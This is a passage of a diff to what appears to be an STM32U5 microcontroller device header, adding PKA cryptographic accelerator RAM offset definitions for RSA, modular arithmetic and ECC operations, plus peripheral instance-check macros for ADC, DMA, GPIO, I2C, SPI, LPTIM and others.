/*!< Input Prime p */ +#define PKA_RSA_CRT_EXP_IN_PRIME_Q ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input Prime q */ +#define PKA_RSA_CRT_EXP_IN_EXPONENT_BASE ((0x12A0UL - PKA_RAM_OFFSET)>>2) /*!< Input base of the exponentiation */ + +/* RSA CRT exponentiation output data */ +#define PKA_RSA_CRT_EXP_OUT_RESULT ((0x0838UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular reduction input data */ +#define PKA_MODULAR_REDUC_IN_OP_LENGTH ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input operand length */ +#define PKA_MODULAR_REDUC_IN_MOD_LENGTH ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus length */ +#define PKA_MODULAR_REDUC_IN_OPERAND ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand */ +#define PKA_MODULAR_REDUC_IN_MODULUS ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Modular reduction output data */ +#define PKA_MODULAR_REDUC_OUT_RESULT ((0xE78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic addition input data */ +#define PKA_ARITHMETIC_ADD_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic addition output data */ +#define PKA_ARITHMETIC_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic subtraction input data */ +#define PKA_ARITHMETIC_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic subtraction output data */ +#define PKA_ARITHMETIC_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Arithmetic multiplication input data */ +#define PKA_ARITHMETIC_MUL_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Arithmetic multiplication output data */ +#define PKA_ARITHMETIC_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Comparison input data */ +#define PKA_COMPARISON_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_COMPARISON_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_COMPARISON_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Comparison output data */ +#define PKA_COMPARISON_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular addition input data */ +#define PKA_MODULAR_ADD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_ADD_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_ADD_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_ADD_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 (modulus) */ + +/* Modular addition output data */ +#define PKA_MODULAR_ADD_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular inversion input data */ +#define PKA_MODULAR_INV_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_INV_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_INV_IN_OP2_MOD ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 (modulus) */ + +/* Modular inversion output data */ +#define PKA_MODULAR_INV_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Modular subtraction input data */ +#define PKA_MODULAR_SUB_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MODULAR_SUB_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MODULAR_SUB_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MODULAR_SUB_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op3 */ + +/* Modular subtraction output data */ +#define PKA_MODULAR_SUB_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Montgomery multiplication input data */ +#define PKA_MONTGOMERY_MUL_IN_OP_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_MONTGOMERY_MUL_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_MONTGOMERY_MUL_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_MONTGOMERY_MUL_IN_OP3_MOD ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus */ + +/* Montgomery multiplication output data */ +#define PKA_MONTGOMERY_MUL_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result */ + +/* Generic Arithmetic input data */ +#define PKA_ARITHMETIC_ALL_OPS_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input operand number of bits */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP1 ((0x0A50UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op1 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP2 ((0x0C68UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ +#define PKA_ARITHMETIC_ALL_OPS_IN_OP3 ((0x1088UL - PKA_RAM_OFFSET)>>2) /*!< Input operand op2 */ + +/* Generic Arithmetic output data */ +#define PKA_ARITHMETIC_ALL_OPS_OUT_RESULT ((0x0E78UL - PKA_RAM_OFFSET)>>2) /*!< Output result for arithmetic operations */ + +/* Compute ECC complete addition input data */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_COMPLETE_ADD_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC complete addition output data */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate */ +#define PKA_ECC_COMPLETE_ADD_OUT_RESULT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Output result Z coordinate */ + +/* Compute ECC double base ladder input data */ +#define PKA_ECC_DOUBLE_LADDER_IN_PRIME_ORDER_NB_BITS ((0x0400UL - PKA_RAM_OFFSET)>>2) /*!< Input n, order of the curve */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF_SIGN ((0x0410UL - PKA_RAM_OFFSET)>>2) /*!< Input sign of the 'a' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_A_COEFF ((0x0418UL - PKA_RAM_OFFSET)>>2) /*!< Input ECC curve '|a|' coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_DOUBLE_LADDER_IN_K_INTEGER ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Input 'k' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_M_INTEGER ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Input 'm' integer coefficient */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_X ((0x0628UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Y ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT1_Z ((0x06D8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point P Z coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_X ((0x0730UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q X coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Y ((0x0788UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Y coordinate */ +#define PKA_ECC_DOUBLE_LADDER_IN_POINT2_Z ((0x07E0UL - PKA_RAM_OFFSET)>>2) /*!< Input initial point Q Z coordinate */ + +/* Compute ECC double base ladder output data */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result X coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result Y coordinate (affine coordinate) */ +#define PKA_ECC_DOUBLE_LADDER_OUT_ERROR ((0x0520UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/* Compute ECC projective to affine conversion input data */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_NB_BITS ((0x0408UL - PKA_RAM_OFFSET)>>2) /*!< Input Modulus number of bits */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MOD_P ((0x0470UL - PKA_RAM_OFFSET)>>2) /*!< Input modulus GF(p) */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_X ((0x0D60UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P X coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Y ((0x0DB8UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Y coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_POINT_Z ((0x0E10UL - PKA_RAM_OFFSET)>>2) /*!< Input initial projective point P Z coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_IN_MONTGOMERY_PARAM_R2 ((0x04C8UL - PKA_RAM_OFFSET)>>2) /*!< Input storage area for Montgomery parameter */ + +/* Compute ECC projective to affine conversion output data */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_X ((0x0578UL - PKA_RAM_OFFSET)>>2) /*!< Output result x affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_RESULT_Y ((0x05D0UL - PKA_RAM_OFFSET)>>2) /*!< Output result y affine coordinate */ +#define PKA_ECC_PROJECTIVE_AFF_OUT_ERROR ((0x0680UL - PKA_RAM_OFFSET)>>2) /*!< Output result error */ + +/** @addtogroup STM32U5xx_Peripheral_Exported_macros + * @{ + */ + +/******************************* ADC Instances ********************************/ +#define IS_ADC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS)|| \ + ((INSTANCE) == ADC1_S) || \ + ((INSTANCE) == ADC4_NS)|| \ + ((INSTANCE) == ADC4_S)) + +#define IS_ADC_MULTIMODE_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == ADC1_NS) || \ + ((INSTANCE) == ADC1_S)) + +#define IS_ADC_COMMON_INSTANCE(INSTANCE) (((INSTANCE) == ADC12_COMMON_NS) || \ + ((INSTANCE) == ADC12_COMMON_S) || \ + ((INSTANCE) == ADC4_COMMON_NS) || \ + ((INSTANCE) == ADC4_COMMON_S)) + +/******************************* AES Instances ********************************/ +#define IS_AES_ALL_INSTANCE(INSTANCE) (((INSTANCE) == AES_NS) || ((INSTANCE) == AES_S)) + +/******************************* PKA Instances ********************************/ +#define IS_PKA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == PKA_NS) || ((INSTANCE) == PKA_S)) + +/******************************** FDCAN Instances *****************************/ +#define IS_FDCAN_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FDCAN1_NS) || ((INSTANCE) == FDCAN1_S)) + +/******************************** COMP Instances ******************************/ +#define IS_COMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == COMP1_NS) || ((INSTANCE) == COMP1_S)) + +/******************************* CORDIC Instances *****************************/ +#define IS_CORDIC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CORDIC_NS) || ((INSTANCE) == CORDIC_S)) + +/******************************* CRC Instances ********************************/ +#define IS_CRC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == CRC_NS) || ((INSTANCE) == CRC_S)) + +/******************************* DAC Instances ********************************/ +#define IS_DAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DAC1_NS) || ((INSTANCE) == DAC1_S)) + +/******************************* DELAYBLOCK Instances *******************************/ +#define IS_DLYB_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DLYB_SDMMC1_NS) || \ + ((INSTANCE) == DLYB_SDMMC1_S) || \ + ((INSTANCE) == DLYB_OCTOSPI1_NS) || \ + ((INSTANCE) == DLYB_OCTOSPI1_S )) + +/******************************** DMA Instances *******************************/ +#define IS_DMA_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S) || \ + ((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_GPDMA_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel0_NS) || ((INSTANCE) == GPDMA1_Channel0_S) || \ + ((INSTANCE) == GPDMA1_Channel1_NS) || ((INSTANCE) == GPDMA1_Channel1_S) || \ + ((INSTANCE) == GPDMA1_Channel2_NS) || ((INSTANCE) == GPDMA1_Channel2_S) || \ + ((INSTANCE) == GPDMA1_Channel3_NS) || ((INSTANCE) == GPDMA1_Channel3_S) || \ + ((INSTANCE) == GPDMA1_Channel4_NS) || ((INSTANCE) == GPDMA1_Channel4_S) || \ + ((INSTANCE) == GPDMA1_Channel5_NS) || ((INSTANCE) == GPDMA1_Channel5_S) || \ + ((INSTANCE) == GPDMA1_Channel6_NS) || ((INSTANCE) == GPDMA1_Channel6_S) || \ + ((INSTANCE) == GPDMA1_Channel7_NS) || ((INSTANCE) == GPDMA1_Channel7_S) || \ + ((INSTANCE) == GPDMA1_Channel8_NS) || ((INSTANCE) == GPDMA1_Channel8_S) || \ + ((INSTANCE) == GPDMA1_Channel9_NS) || ((INSTANCE) == GPDMA1_Channel9_S) || \ + ((INSTANCE) == GPDMA1_Channel10_NS) || ((INSTANCE) == GPDMA1_Channel10_S) || \ + ((INSTANCE) == GPDMA1_Channel11_NS) || ((INSTANCE) == GPDMA1_Channel11_S) || \ + ((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +#define IS_LPDMA_INSTANCE(INSTANCE) (((INSTANCE) == LPDMA1_Channel0_NS) || ((INSTANCE) == LPDMA1_Channel0_S) || \ + ((INSTANCE) == LPDMA1_Channel1_NS) || ((INSTANCE) == LPDMA1_Channel1_S) || \ + ((INSTANCE) == LPDMA1_Channel2_NS) || ((INSTANCE) == LPDMA1_Channel2_S) || \ + ((INSTANCE) == LPDMA1_Channel3_NS) || ((INSTANCE) == LPDMA1_Channel3_S)) + +#define IS_DMA_2D_ADDRESSING_INSTANCE(INSTANCE) (((INSTANCE) == GPDMA1_Channel12_NS) || ((INSTANCE) == GPDMA1_Channel12_S) || \ + ((INSTANCE) == GPDMA1_Channel13_NS) || ((INSTANCE) == GPDMA1_Channel13_S) || \ + ((INSTANCE) == GPDMA1_Channel14_NS) || ((INSTANCE) == GPDMA1_Channel14_S) || \ + ((INSTANCE) == GPDMA1_Channel15_NS) || ((INSTANCE) == GPDMA1_Channel15_S)) + +/****************************** OTFDEC Instances ********************************/ +#define IS_OTFDEC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OTFDEC1_NS) || ((INSTANCE) == OTFDEC1_S)) + +/****************************** RAMCFG Instances ********************************/ +#define IS_RAMCFG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM1_NS) || ((INSTANCE) == RAMCFG_SRAM1_S) || \ + ((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_SRAM4_NS) || ((INSTANCE) == RAMCFG_SRAM4_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG ECC Instances *****************************/ +#define IS_RAMCFG_ECC_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/***************************** RAMCFG IT Instances ******************************/ +#define IS_RAMCFG_IT_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S) || \ + ((INSTANCE) == RAMCFG_BKPRAM_NS) || ((INSTANCE) == RAMCFG_BKPRAM_S)) + +/************************ RAMCFG Write Protection Instances *********************/ +#define IS_RAMCFG_WP_INSTANCE(INSTANCE) (((INSTANCE) == RAMCFG_SRAM2_NS) || ((INSTANCE) == RAMCFG_SRAM2_S)) + +/******************************** FMAC Instances ******************************/ +#define IS_FMAC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == FMAC_NS) || ((INSTANCE) == FMAC_S)) + +/******************************* GPIO Instances *******************************/ +#define IS_GPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == GPIOA_NS) || ((INSTANCE) == GPIOA_S) || \ + ((INSTANCE) == GPIOB_NS) || ((INSTANCE) == GPIOB_S) || \ + ((INSTANCE) == GPIOC_NS) || ((INSTANCE) == GPIOC_S) || \ + ((INSTANCE) == GPIOD_NS) || ((INSTANCE) == GPIOD_S) || \ + ((INSTANCE) == GPIOE_NS) || ((INSTANCE) == GPIOE_S) || \ + ((INSTANCE) == GPIOG_NS) || ((INSTANCE) == GPIOG_S) || \ + ((INSTANCE) == GPIOH_NS) || ((INSTANCE) == GPIOH_S) || \ + ((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* LPGPIO Instances *****************************/ +#define IS_LPGPIO_ALL_INSTANCE(INSTANCE) (((INSTANCE) == LPGPIO1_NS) || ((INSTANCE) == LPGPIO1_S)) + +/******************************* DCMI Instances *******************************/ +#define IS_DCMI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == DCMI_NS) || ((__INSTANCE__) == DCMI_S)) + +/******************************* DCACHE Instances *****************************/ +#define IS_DCACHE_ALL_INSTANCE(INSTANCE) (((INSTANCE) == DCACHE1_NS) || ((INSTANCE) == DCACHE1_S)) + +/******************************* PSSI Instances *******************************/ +#define IS_PSSI_ALL_INSTANCE(__INSTANCE__) (((__INSTANCE__) == PSSI_NS) || ((__INSTANCE__) == PSSI_S)) + +/******************************* GPIO AF Instances ****************************/ +/* On U5, all GPIO Bank support AF */ +#define IS_GPIO_AF_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/**************************** GPIO Lock Instances *****************************/ +/* On U5, all GPIO Bank support the Lock mechanism */ +#define IS_GPIO_LOCK_INSTANCE(INSTANCE) IS_GPIO_ALL_INSTANCE(INSTANCE) + +/******************************** I2C Instances *******************************/ +#define IS_I2C_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/****************** I2C Instances : wakeup capability from stop modes *********/ +#define IS_I2C_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) IS_I2C_ALL_INSTANCE(INSTANCE) + +/******************* I2C Instances : Group belongingness *********************/ +#define IS_I2C_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +#define IS_I2C_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/****************************** OPAMP Instances *******************************/ +#define IS_OPAMP_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OPAMP1_NS) || ((INSTANCE) == OPAMP1_S)) + +/******************************* OSPI Instances *******************************/ +#define IS_OSPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == OCTOSPI1_NS) || ((INSTANCE) == OCTOSPI1_S)) + +/******************************* RNG Instances ********************************/ +#define IS_RNG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RNG_NS) || ((INSTANCE) == RNG_S)) + +/****************************** RTC Instances *********************************/ +#define IS_RTC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == RTC_NS) || ((INSTANCE) == RTC_S)) + +/******************************** SAI Instances *******************************/ +#define IS_SAI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SAI1_Block_A_NS) || ((INSTANCE) == SAI1_Block_A_S) || \ + ((INSTANCE) == SAI1_Block_B_NS) || ((INSTANCE) == SAI1_Block_B_S)) + +/****************************** SDMMC Instances *******************************/ +#define IS_SDMMC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SDMMC1_NS) || ((INSTANCE) == SDMMC1_S)) +/****************************** SMBUS Instances *******************************/ +#define IS_SMBUS_ALL_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +/******************* SMBUS Instances : Group belongingness *********************/ +#define IS_SMBUS_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == I2C1_NS) || ((INSTANCE) == I2C1_S) || \ + ((INSTANCE) == I2C2_NS) || ((INSTANCE) == I2C2_S) || \ + ((INSTANCE) == I2C4_NS) || ((INSTANCE) == I2C4_S)) + +#define IS_SMBUS_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == I2C3_NS) || ((INSTANCE) == I2C3_S)) + +/******************************** SPI Instances *******************************/ +#define IS_SPI_ALL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S) || \ + ((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_LIMITED_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +#define IS_SPI_FULL_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP1_INSTANCE(INSTANCE) (((INSTANCE) == SPI1_NS) || ((INSTANCE) == SPI1_S) || \ + ((INSTANCE) == SPI2_NS) || ((INSTANCE) == SPI2_S)) + +#define IS_SPI_GRP2_INSTANCE(INSTANCE) (((INSTANCE) == SPI3_NS) || ((INSTANCE) == SPI3_S)) + +/****************** LPTIM Instances : All supported instances *****************/ +#define IS_LPTIM_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/****************** LPTIM Instances : DMA supported instances *****************/ +#define IS_LPTIM_DMA_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S)) + +/************* LPTIM Instances : at least 1 capture/compare channel ***********/ +#define IS_LPTIM_CC1_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + ((INSTANCE) == LPTIM2_NS) || ((INSTANCE) == LPTIM2_S) ||\ + ((INSTANCE) == LPTIM3_NS) || ((INSTANCE) == LPTIM3_S) ||\ + ((INSTANCE) == LPTIM4_NS) || ((INSTANCE) == LPTIM4_S)) + +/************* LPTIM Instances : at least 2 capture/compare channel ***********/ +#define IS_LPTIM_CC2_INSTANCE(INSTANCE) (((INSTANCE) == LPTIM1_NS) || ((INSTANCE) == LPTIM1_S) ||\ + 